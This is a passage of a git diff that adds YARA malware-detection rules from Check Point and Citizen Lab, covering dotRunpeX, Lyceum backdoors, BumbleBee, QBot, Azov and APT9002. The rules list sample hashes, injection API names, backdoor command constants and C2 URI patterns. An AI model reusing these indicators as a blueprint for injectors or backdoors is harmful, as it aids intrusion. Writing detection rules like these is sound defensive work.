+    pe.DLL
+    and ( pe.exports("PathProcess") or pe.exports("_PathProcess@4") ) and 
+pe.exports("CON")
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Checkpoint/explosive_exe.yar b/yara-mikesxrs/Checkpoint/explosive_exe.yar
new file mode 100644
index 0000000..37b8d07
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/explosive_exe.yar
@@ -0,0 +1,15 @@
+rule explosive_exe
+{
+  meta:
+    author = "Check Point Software Technologies Inc."
+    info = "Explosive EXE"
+    reference = "https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf"
+    
+  strings:
+    $MZ = "MZ"
+    $DLD_S = "DLD-S:"
+    $DLD_E = "DLD-E:"
+    
+  condition:
+    $MZ at 0 and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Checkpoint/goziv3_trojan.yar b/yara-mikesxrs/Checkpoint/goziv3_trojan.yar
new file mode 100644
index 0000000..28da682
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/goziv3_trojan.yar
@@ -0,0 +1,11 @@
+rule goziv3: trojan {
+    meta:
+        module = "goziv3"
+        reference = "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/"
+    strings:
+        $dec_bss = {D3 C0 83 F3 01 89 02 83 C2 04 FF 4C 24 0C}
+        $gen_serpent = {33 44 24 04 33 44 24 08 C2 08 00}
+    condition:
+        ($dec_bss and $gen_serpent) and (uint16(0) == 0x5A4D  or uint16(0) == 0x5850  )
+}
+
diff --git a/yara-mikesxrs/Checkpoint/injector_ZZ_dotRunpeX.yar b/yara-mikesxrs/Checkpoint/injector_ZZ_dotRunpeX.yar
new file mode 100644
index 0000000..d95abc6
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/injector_ZZ_dotRunpeX.yar
@@ -0,0 +1,58 @@
+rule injector_ZZ_dotRunpeX {
+    meta:
+        description = "Detects new version of dotRunpeX - configurable .NET injector"
+        author = "Jiri Vinopal (jiriv)"
+        date = "2022-10-30"
+        hash1 = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232" // injects Formbook
+        hash2 = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636" // injects Formbook
+        hash3 = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80" // injects AsyncRat
+        hash4 = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504" // injects Remcos
+        hash5 = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591" // injects Formbook
+        hash6 = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db" // injects AgentTesla
+        hash7 = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452" // injects AsyncRat
+        hash8 = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5" // injects SnakeKeylogger
+        report = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/"
+    strings:
+    // Used ImplMap imports (PInvoke) 
+        $implmap1 = "VirtualAllocEx"
+        $implmap2 = "CreateProcess"
+        $implmap3 = "CreateRemoteThread"
+        $implmap4 = "Wow64SetThreadContext"
+        $implmap5 = "Wow64GetThreadContext"
+        $implmap6 = "NtResumeThread"
+        $implmap7 = "ZwUnmapViewOfSection"
+        $implmap8 = "NtWriteVirtualMemory"
+        $implmap9 = "MessageBox" // ImplMap not presented in all samples - maybe different versions?
+        $implmap10 = "Wow64DisableWow64FsRedirection"
+        $implmap11 = "Wow64RevertWow64FsRedirection"
+        $implmap12 = "CreateFile"
+        $implmap13 = "RtlInitUnicodeString"
+        $implmap14 = "NtLoadDriver"
+        $implmap15 = "NtUnloadDriver"
+        $implmap16 = "OpenProcessToken"
+        $implmap17 = "LookupPrivilegeValue"
+        $implmap18 = "AdjustTokenPrivileges"
+        $implmap19 = "CloseHandle"
+        $implmap20 = "NtQuerySystemInformation"
+        $implmap21 = "DeviceIoControl"
+        $implmap22 = "GetProcessHeap"
+        $implmap23 = "HeapFree"
+        $implmap24 = "HeapAlloc"
+        $implmap25 = "GetProcAddress"
+        $implmap26 = "CopyMemory" // ImplMap added by KoiVM Protector used by this injector
+        $modulerefKernel1 = "Kernel32"
+        $modulerefKernel2 = "kernel32"
+        $modulerefNtdll1 = "Ntdll"
+        $modulerefNtdll2 = "ntdll"
+        $modulerefAdvapi1 = "Advapi32"
+        $modulerefAdvapi2 = "advapi32"
+
+        $regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide // Registry path for installing Sysinternals Procexp driver
+        $rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide
+        $koiVM1 = "KoiVM"
+        $koiVM2 = "#Koi"
+    condition:
+        uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550 and ($regPath or $rsrcName or 1 of ($koiVM*)) and
+        24 of ($implmap*) and 1 of ($modulerefKernel*) and 1 of ($modulerefNtdll*) and 1 of ($modulerefAdvapi*) 
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Checkpoint/injector_ZZ_dotRunpeX_oldnew.yar b/yara-mikesxrs/Checkpoint/injector_ZZ_dotRunpeX_oldnew.yar
new file mode 100644
index 0000000..638e559
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/injector_ZZ_dotRunpeX_oldnew.yar
@@ -0,0 +1,45 @@
+rule injector_ZZ_dotRunpeX_oldnew {
+    meta:
+        description = "Detects new and old version of dotRunpeX - configurable .NET injector"
+        author = "Jiri Vinopal (jiriv)"
+        date = "2022-10-30"
+        hash1_New = "373a86e36f7e808a1db263b4b49d2428df4a13686da7d77edba7a6dd63790232" // injects Formbook
+        hash2_New = "41ea8f9a9f2a7aeb086dedf8e5855b0409f31e7793cbba615ca0498e47a72636" // injects Formbook
+        hash3_New = "5e3588e8ddebd61c2bd6dab4b87f601bd6a4857b33eb281cb5059c29cfe62b80" // injects AsyncRat
+        hash4_New = "8c451b84d9579b625a7821ad7ddcb87bdd665a9e6619eaecf6ab93cd190cf504" // injects Remcos
+        hash5_New = "8fa81f6341b342afa40b7dc76dd6e0a1874583d12ea04acf839251cb5ca61591" // injects Formbook
+        hash6_New = "cd4c821e329ec1f7bfe7ecd39a6020867348b722e8c84a05c7eb32f8d5a2f4db" // injects AgentTesla
+        hash7_New = "fa8a67642514b69731c2ce6d9e980e2a9c9e409b3947f2c9909d81f6eac81452" // injects AsyncRat
+        hash8_New = "eb2e2ac0f5f51d90fe90b63c3c385af155b2fee30bc3dc6309776b90c21320f5" // injects SnakeKeylogger
+        hash1_Old = "1e7614f757d40a2f5e2f4bd5597d04878768a9c01aa5f9f23d6c87660f7f0fbc" // injects Lokibot
+        hash2_Old = "317e6817bba0f54e1547dd9acf24ee17a4cda1b97328cc69dc1ec16e11c258fc" // injects Redline
+        hash3_Old = "65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b" // injects SnakeKeylogger
+        hash4_Old = "68ae2ee5ed7e793c1a49cbf1b0dd7f5a3de9cb783b51b0953880994a79037326" // injects Lokibot
+        hash5_Old = "81763d8e3b42d07d76b0a74eda4e759981971635d62072c8da91251fc849b91e" // injects SnakeKeylogger
+        report = "https://research.checkpoint.com/2023/dotrunpex-demystifying-new-virtualized-net-injector-used-in-the-wild/"
+    strings:
+    // Used ImplMap imports (PInvoke) 
+        $implmap1 = "VirtualAllocEx"
+        $implmap2 = "CreateProcess"
+        $implmap3 = "CreateRemoteThread"
+        $implmap4 = "Wow64SetThreadContext"
+        $implmap5 = "Wow64GetThreadContext"
+        $implmap6 = "RtlInitUnicodeString"
+        $implmap7 = "NtLoadDriver"
+        $implmap8 = "LoadLibrary"
+        $implmap9 = "VirtualProtect"
+        $implmap10 = "AdjustTokenPrivileges"
+        $implmap11 = "GetProcAddress"
+        $modulerefKernel1 = "Kernel32"
+        $modulerefKernel2 = "kernel32"
+        $modulerefNtdll1 = "Ntdll"
+        $modulerefNtdll2 = "ntdll"
+
+        $regPath = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" wide // Registry path for installing Sysinternals Procexp driver
+        $rsrcName = "BIDEN_HARRIS_PERFECT_ASSHOLE" wide
+        $koiVM1 = "KoiVM"
+        $koiVM2 = "#Koi"
+    condition:
+        uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550 and ($regPath or $rsrcName or 1 of ($koiVM*)) and
+        9 of ($implmap*) and 1 of ($modulerefKernel*) and 1 of ($modulerefNtdll*) 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Checkpoint/lyceum_dotnet_dns_backdoor.yar b/yara-mikesxrs/Checkpoint/lyceum_dotnet_dns_backdoor.yar
new file mode 100644
index 0000000..8910ca1
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/lyceum_dotnet_dns_backdoor.yar
@@ -0,0 +1,29 @@
+rule lyceum_dotnet_dns_backdoor
+{
+    meta:
+        author = "CPR"
+        reference = "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/"
+        hash1 = "8199f14502e80581000bd5b3bda250ee"
+        hash2 = "d79687676d2d152aec4143c852bdbc4a"
+        hash3 = "bcb465cc2257e5777bab431690ca5039"
+        hash4 = "2bc2abefc1a721908bc805894b62227d"
+        hash5 = "37a1514a7a5f9b2c6786096129a30721"
+    strings:
+        $log1 = "MSG SIZE rcvd" wide
+        $log2 = "Empty output" wide
+        $log3 = "Big Output. lines: " wide
+        $com1 = "Enddd" wide
+        $com2 = "uploaddd" wide
+        $com3 = "downloaddd" wide
+        $dga = "trailers.apple.com" wide
+        $replace1 = "BackSlashh" wide
+        $replace2 = "QuotationMarkk" wide
+        $re_pattern = "60\\s+IN\\s+TXT" wide
+        $func1 = "comRun"
+        $func2 = "PlaceDot"
+        $func3 = "sendAns"
+        $heijden1 = "Heijden.DNS"
+        $heijden2 = "DnsHeijden"
+    condition:
+        uint16(0)==0x5a4d and (all of ($log*) or all of ($com*) or all of ($replace*) or all of ($func*) or (any of ($heijden*) and $re_pattern and $dga))
+}
diff --git a/yara-mikesxrs/Checkpoint/lyceum_dotnet_http_backdoor.yar b/yara-mikesxrs/Checkpoint/lyceum_dotnet_http_backdoor.yar
new file mode 100644
index 0000000..055025d
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/lyceum_dotnet_http_backdoor.yar
@@ -0,0 +1,52 @@
+rule lyceum_dotnet_http_backdoor
+{
+    meta:
+        author = "CPR"
+        reference = "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/"
+        hash1 = "1c444ebeba24dcba8628b7dfe5fec7c6"
+        hash2 = "85ca334f87667bd7fa0c47ae6149353e"
+        hash3 = "73bddd5f1a0847ae5f5d55e7d9c177f6"
+        hash4 = "9fb86915db1b7c00f1a4587de4e052de"
+        hash5 = "37fe608983d4b06a5549247f0e16bc11"
+        hash6 = "5916e5189ef0050dfcc3cc19382d08d5"
+    strings:
+        $class1 = "Funcss"
+        $class2 = "Constantss"
+        $class3 = "Reqss"
+        $class4 = "Screenss"
+        $class5 = "Shll"
+        $class6 = "test_A1"
+        $class7 = "Uploadss"
+        $class8 = "WebDL"
+        $cnc_uri1 = "/upload" wide
+        $cnc_uri2 = "/screenshot" wide
+        $cnc_pattern_hex1 = {43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 7b 30 7d 22 0d 0a 0d 0a}
+        $cnc_pattern_hex2 = {6d 75 6c 74 69 70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 20 62 6f 75 6e 64 61 72 79 3d 7b 30 7d}
+        $cnc_pattern_hex3 = {43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 7b 30 7d 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 7b 31 7d 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 7b 32 7d 0d 0a 0d 0a}
+        $constant1 = "FILE_DIR_SEPARATOR"
+        $constant2 = "APPS_PARAMS_SEPARATOR"
+        $constant3 = "TYPE_SENDTOKEN"
+        $constant4 = "TYPE_DATA1"
+        $constant5 = "TYPE_SEND_RESPONSE_IN_SOCKET"
+        $constant6 = "TYPE_FILES_LIST"
+        $constant7 = "TYPE_FILES_DELETE"
+        $constant8 = "TYPE_FILES_RUN"
+        $constant9 = "TYPE_FILES_UPLOAD_TO_SERVER"
+        $constant10 = "TYPE_FILES_DELETE_FOLDER"
+        $constant11 = "TYPE_FILES_CREATE_FOLDER"
+        $constant12 = "TYPE_FILES_DOWNLOAD_URL"
+        $constant13 = "TYPE_OPEN_CMD"
+        $constant14 = "TYPE_CMD_RES"
+        $constant15 = "TYPE_CLOSE_CMD"
+        $constant16 = "TYPE_CMD_REQ"
+        $constant17 = "TYPE_INSTALLED_APPS"
+        $constant18 = "TYPE_SCREENSHOT"
+        $constant19 = "_RG_APP_NAME_"
+        $constant20 = "_RG_APP_VERSION_"
+        $constant21 = "_RG_APP_DATE_"
+        $constant22 = "_RG_APP_PUB_"
+        $constant23 = "_RG_APP_SEP_"
+        $constant24 = "_SC_EXT_"
+    condition:
+        uint16(0)==0x5a4d and (4 of ($class*) or 4 of ($cnc_*) or 4 of ($constant*))
+}
diff --git a/yara-mikesxrs/Checkpoint/lyceum_golang_backdoor.yar b/yara-mikesxrs/Checkpoint/lyceum_golang_backdoor.yar
new file mode 100644
index 0000000..9791576
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/lyceum_golang_backdoor.yar
@@ -0,0 +1,37 @@
+rule lyceum_golang_backdoor
+{
+    meta:
+        author = "CPR"
+        reference = "https://research.checkpoint.com/2022/state-sponsored-attack-groups-capitalise-on-russia-ukraine-war-for-cyber-espionage/"
+        hash1 = "a437f997d45bc14e76d0f2482f572a34"
+        hash2 = "23d174e6a0905fd59b2613d5ac106261"
+        hash3 = "bcb465cc2257e5777bab431690ca5039"
+    strings:
+        $func1 = "main.Ase256"
+        $func2 = "main.DecryptAse256"
+        $func3 = "main.IsServerUp"
+        $func4 = "main.register"
+        $func5 = "main.commandforrun"
+        $func6 = "main.UPLOAD"
+        $func7 = "main.commandforanswer"
+        $func8 = "main.GetMD5Hash"
+        $func9 = "main.get_uid"
+        $func10 = "main.commandrun"
+        $func11 = "main.download"
+        $func12 = "main.postFile"
+        $func13 = "main.sendAns"
+        $func14 = "main.comRun"
+        $cnc_uri1 = "/GO/1.php"
+        $cnc_uri2 = "/GO/2.php"
+        $cnc_uri3 = "/GO/3.php"
+        $auth_token = "auth_token=\"XXXXXXX\""
+        $log1 = "client registred"
+        $log2 = "no command"
+        $log3 = "can not create file"
+        $log4 = "errorGettingUserName"
+        $log5 = "New record created successfully"
+        $log6 = "SERVER_IS_DOWN"
+        $dga = "trailers.apple.com."
+    condition:
+        uint16(0)==0x5a4d and ((10 of ($func*) or any of ($cnc_uri*) or $auth_token or 3 of ($log*)) or ($dga and 4 of them))
+}
diff --git a/yara-mikesxrs/Checkpoint/malware_bumblebee_packed.yar b/yara-mikesxrs/Checkpoint/malware_bumblebee_packed.yar
new file mode 100644
index 0000000..480b8e4
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/malware_bumblebee_packed.yar
@@ -0,0 +1,31 @@
+rule malware_bumblebee_packed { 
+    meta: 
+        author = "Marc Salinas @ CheckPoint Research" 
+        malware_family = "BumbleBee" 
+        date = "13/07/2022" 
+        description = "Detects the packer used by bumblebee, the rule is based on the code responsible for allocating memory for a critical structure in its logic." 
+        dll_jul = "6bc2ab410376c1587717b2293f2f3ce47cb341f4c527a729da28ce00adaaa8db" 
+        dll_jun = "82aab01a3776e83695437f63dacda88a7e382af65af4af1306b5dbddbf34f9eb" 
+        dll_may = "a5bcb48c0d29fbe956236107b074e66ffc61900bc5abfb127087bb1f4928615c" 
+        iso_jul = "ca9da17b4b24bb5b24cc4274cc7040525092dffdaa5922f4a381e5e21ebf33aa" 
+        iso_jun = "13c573cad2740d61e676440657b09033a5bec1e96aa1f404eed62ba819858d78" 
+        iso_may = "b2c28cdc4468f65e6fe2f5ef3691fa682057ed51c4347ad6b9672a9e19b5565e" 
+        zip_jun = "7024ec02c9670d02462764dcf99b9a66b29907eae5462edb7ae974fe2efeebad" 
+        zip_may = "68ac44d1a9d77c25a97d2c443435459d757136f0d447bfe79027f7ef23a89fce" 
+        report = "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/"
+    strings: 
+        $heapalloc = {  
+            48 8? EC [1-6]           // sub     rsp, 80h 
+            FF 15 ?? ?? 0? 00 [0-5]  // call    cs:GetProcessHeap 
+            33 D2                    // xor     edx, edx        ; dwFlags 
+            4? [2-5]                 // mov     rcx, rax        ; hHeap 
+            4? ?? ??                 // mov     r8d, ebx        ; dwBytes 
+            FF 15 ?? ?? 0? 00        // call    cs:HeapAlloc 
+            [8 - 11]                 // (load params) 
+            48 89 05 ?? ?? ?? 00     // mov     cs:HeapBufferPtr, rax 
+            E8 ?? ?? ?? ??           // call    memset 
+            4? 8B ?? ?? ?? ?? 00     // mov     r14, cs:HeapBufferPtr 
+        }  
+    condition: 
+        $heapalloc 
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Checkpoint/nazar_component_guids.yar b/yara-mikesxrs/Checkpoint/nazar_component_guids.yar
new file mode 100644
index 0000000..2097782
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/nazar_component_guids.yar
@@ -0,0 +1,32 @@
+rule apt_nazar_component_guids
+{
+    meta:
+        description = "Detect Nazar Components by COM Objects' GUID"
+        author = "Itay Cohen"
+        date = "2020-04-27"
+        reference = "<https://www.epicturla.com/blog/the-lost-nazar>"
+        reference2 = "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/"
+        hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
+        hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390"
+        hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e"
+        hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
+        hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8"
+        hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
+        hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
+        hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec"
+        hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b"
+        hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
+        hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
+        hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
+        hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3"
+    strings:
+        $guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE } // Godown.dll IID
+        $guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 } // Godown.dll CLSID
+        $guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 } // probably Godown
+        $guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 } // Filesystem.dll CLSID
+        $guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D } // Filesystem.dll TypeLib IID
+        $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } // Filesystem.dll 
+        
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Checkpoint/qbot_vbs.yar b/yara-mikesxrs/Checkpoint/qbot_vbs.yar
new file mode 100644
index 0000000..68b74b9
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/qbot_vbs.yar
@@ -0,0 +1,16 @@
+rule qbot_vbs
+{
+    meta:
+        description = "Catches QBot VBS files"
+        reference = "https://research.checkpoint.com/2020/exploring-qbots-latest-attack-methods/"
+        author = "Alex Ilgayev"
+        date = "2020-06-07"
+    strings:
+        $s3 = "ms.Send"
+        $s4 = "for i=1 to 6"
+        $s5 = "if ms.readyState = 4 Then"
+        $s6 = "if len(ms.responseBody) <> 0 then"
+        $s7 = /if left\(ms.responseText, \w*?\) = \"MZ\" then/
+    condition:
+        filesize > 20MB and $s3 and $s4 and $s5 and $s6 and $s7
+}
diff --git a/yara-mikesxrs/Checkpoint/ransomware_ZZ_azov_wiper.yar b/yara-mikesxrs/Checkpoint/ransomware_ZZ_azov_wiper.yar
new file mode 100644
index 0000000..8f68ee4
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/ransomware_ZZ_azov_wiper.yar
@@ -0,0 +1,18 @@
+import "pe"
+
+rule ransomware_ZZ_azov_wiper {
+    meta:
+      description = "Detects original and backdoored files with new and old versions of azov ransomware - polymorphic wiper"
+      author = "Jiri Vinopal (jiriv)"
+      date = "2022-11-14"
+      hash_azov_new = "650f0d694c0928d88aeeed649cf629fc8a7bec604563bca716b1688227e0cc7e"
+      hash_azov_old = "b102ed1018de0b7faea37ca86f27ba3025c0c70f28417ac3e9ef09d32617f801"
+      report = "https://research.checkpoint.com/2022/pulling-the-curtains-on-azov-ransomware-not-a-skidsware-but-polymorphic-wiper/"
+    strings:
+    // Opcodes of allocating and decrypting shellcode routine
+        $unpacking_azov_new = { 48 83 ec ?? 58 48 01 c8 48 81 ec ?? ?? ?? ?? 48 83 ec ?? 40 80 e4 ?? c6 45 ?? 56 c6 45 ?? 69 c6 45 ?? 72 c6 45 ?? 74 c6 45 ?? 75 c6 45 ?? 61 c6 45 ?? 6c c6 45 ?? 41 c6 45 ?? 6c c6 45 ?? 6c c6 45 ?? 6f c6 45 ?? 63 c6 45 ?? 00 48 89 74 24 ?? 48 83 ec ?? 48 83 c4 ?? 48 8b 4c 24 ?? 48 8d 55 ?? ff d0 48 83 ec ?? 48 c7 04 24 ?? ?? ?? ?? 48 83 c4 ?? 48 8b 4c 24 ?? 48 c7 c2 ?? ?? ?? ?? 49 c7 c0 ?? ?? ?? ?? 49 c7 c1 ?? ?? ?? ?? ff d0 48 c7 c1 ?? ?? ?? ?? 4c 8d 0d ?? ?? ?? ?? 48 ff c9 41 8a 14 09 88 14 08 48 85 c9 75 ?? 48 c7 c1 ?? ?? ?? ?? 41 b9 ?? ?? ?? ?? 41 ba ?? ?? ?? ?? 48 ff c9 8a 14 08 44 30 ca 88 14 08 41 81 ea ?? ?? ?? ?? 45 01 d1 41 81 c1 ?? ?? ?? ?? 41 81 c2 ?? ?? ?? ?? 41 d1 c1 48 85 c9 }
+        $unpacking_azov_old = { 48 01 c8 48 05 ?? ?? ?? ?? 48 81 c1 ?? ?? ?? ?? 48 81 ec ?? ?? ?? ?? 48 83 ec ?? 40 80 e4 ?? c6 45 ?? 56 c6 45 ?? 69 c6 45 ?? 72 c6 45 ?? 74 c6 45 ?? 75 c6 45 ?? 61 c6 45 ?? 6c c6 45 ?? 41 c6 45 ?? 6c c6 45 ?? 6c c6 45 ?? 6f c6 45 ?? 63 c6 45 ?? 00 48 83 e1 ?? 48 01 f1 48 8d 55 ?? ff d0 48 83 ec ?? 48 c7 04 24 ?? ?? ?? ?? 48 83 c4 ?? 48 8b 4c 24 ?? 48 c7 c2 ?? ?? ?? ?? 49 c7 c0 ?? ?? ?? ?? 49 c7 c1 ?? ?? ?? ?? ff d0 48 c7 c1 ?? ?? ?? ?? 4c 8d 0d ?? ?? ?? ?? 48 ff c9 41 8a 14 09 88 14 08 48 85 c9 }
+    condition:
+        uint16(0) == 0x5a4d and pe.is_64bit() and
+        any of ($unpacking_azov_*)
+}
diff --git a/yara-mikesxrs/Citizen Lab/3102.yara b/yara-mikesxrs/Citizen Lab/3102.yara
new file mode 100644
index 0000000..53684d3
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/3102.yara	
@@ -0,0 +1,40 @@
+private rule APT3102Code : APT3102 Family 
+{
+    meta:
+        description = "3102 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $setupthread = { B9 02 07 00 00 BE ?? ?? ?? ?? 8B F8 6A 00 F3 A5 }
+  
+    condition:
+        any of them
+}
+
+private rule APT3102Strings : APT3102 Family
+{
+    meta:
+        description = "3102 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "rundll32_exec.dll\x00Update"
+        // this is in the encrypted code - shares with 9002 variant
+        //$ = "POST http://%ls:%d/%x HTTP/1.1"
+        
+    condition:
+       any of them
+}
+
+rule APT3102 : Family
+{
+    meta:
+        description = "3102"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        APT3102Code or APT3102Strings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/9002.yara b/yara-mikesxrs/Citizen Lab/9002.yara
new file mode 100644
index 0000000..0042bf4
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/9002.yara	
@@ -0,0 +1,47 @@
+private rule APT9002Code : APT9002 Family 
+{
+    meta:
+        description = "9002 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        // start code block
+        $ = { B9 7A 21 00 00 BE ?? ?? ?? ?? 8B F8 ?? ?? ?? F3 A5 }
+        // decryption from other variant with multiple start threads
+        $ = { 8A 14 3E 8A 1C 01 32 DA 88 1C 01 8B 54 3E 04 40 3B C2 72 EC }
+  
+    condition:
+        any of them
+}
+
+private rule APT9002Strings : APT9002 Family
+{
+    meta:
+        description = "9002 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "POST http://%ls:%d/%x HTTP/1.1"
+        $ = "%%TEMP%%\\%s_p.ax" wide ascii
+        $ = "%TEMP%\\uid.ax" wide ascii
+        $ = "%%TEMP%%\\%s.ax" wide ascii
+        // also triggers on surtr $ = "mydll.dll\x00DoWork"
+        $ = "sysinfo\x00sysbin01"
+        $ = "\\FlashUpdate.exe"
+        
+    condition:
+       any of them
+}
+
+rule APT9002 : Family
+{
+    meta:
+        description = "9002"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        APT9002Code or APT9002Strings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/Citizen_Lab_index.yara b/yara-mikesxrs/Citizen Lab/Citizen_Lab_index.yara
new file mode 100644
index 0000000..c1ba00e
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/Citizen_Lab_index.yara	
@@ -0,0 +1,2512 @@
+private rule APT3102Code : APT3102 Family 
+{
+    meta:
+        description = "3102 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $setupthread = { B9 02 07 00 00 BE ?? ?? ?? ?? 8B F8 6A 00 F3 A5 }
+  
+    condition:
+        any of them
+}
+
+private rule APT3102Strings : APT3102 Family
+{
+    meta:
+        description = "3102 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "rundll32_exec.dll\x00Update"
+        // this is in the encrypted code - shares with 9002 variant
+        //$ = "POST http://%ls:%d/%x HTTP/1.1"
+        
+    condition:
+       any of them
+}
+
+rule APT3102 : Family
+{
+    meta:
+        description = "3102"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        APT3102Code or APT3102Strings
+}
+
+private rule APT9002Code : APT9002 Family 
+{
+    meta:
+        description = "9002 code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        // start code block
+        $ = { B9 7A 21 00 00 BE ?? ?? ?? ?? 8B F8 ?? ?? ?? F3 A5 }
+        // decryption from other variant with multiple start threads
+        $ = { 8A 14 3E 8A 1C 01 32 DA 88 1C 01 8B 54 3E 04 40 3B C2 72 EC }
+  
+    condition:
+        any of them
+}
+
+private rule APT9002Strings : APT9002 Family
+{
+    meta:
+        description = "9002 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "POST http://%ls:%d/%x HTTP/1.1"
+        $ = "%%TEMP%%\\%s_p.ax" wide ascii
+        $ = "%TEMP%\\uid.ax" wide ascii
+        $ = "%%TEMP%%\\%s.ax" wide ascii
+        // also triggers on surtr $ = "mydll.dll\x00DoWork"
+        $ = "sysinfo\x00sysbin01"
+        $ = "\\FlashUpdate.exe"
+        
+    condition:
+       any of them
+}
+
+rule APT9002 : Family
+{
+    meta:
+        description = "9002"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        APT9002Code or APT9002Strings
+}
+
+private rule BangatCode : Bangat Family 
+{
+    meta:
+        description = "Bangat code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // dec [ebp + procname], push eax, push edx, call get procaddress
+        $ = { FE 4D ?? 8D 4? ?? 50 5? FF }
+    
+    condition:
+        any of them
+}
+
+private rule BangatStrings : Bangat Family
+{
+    meta:
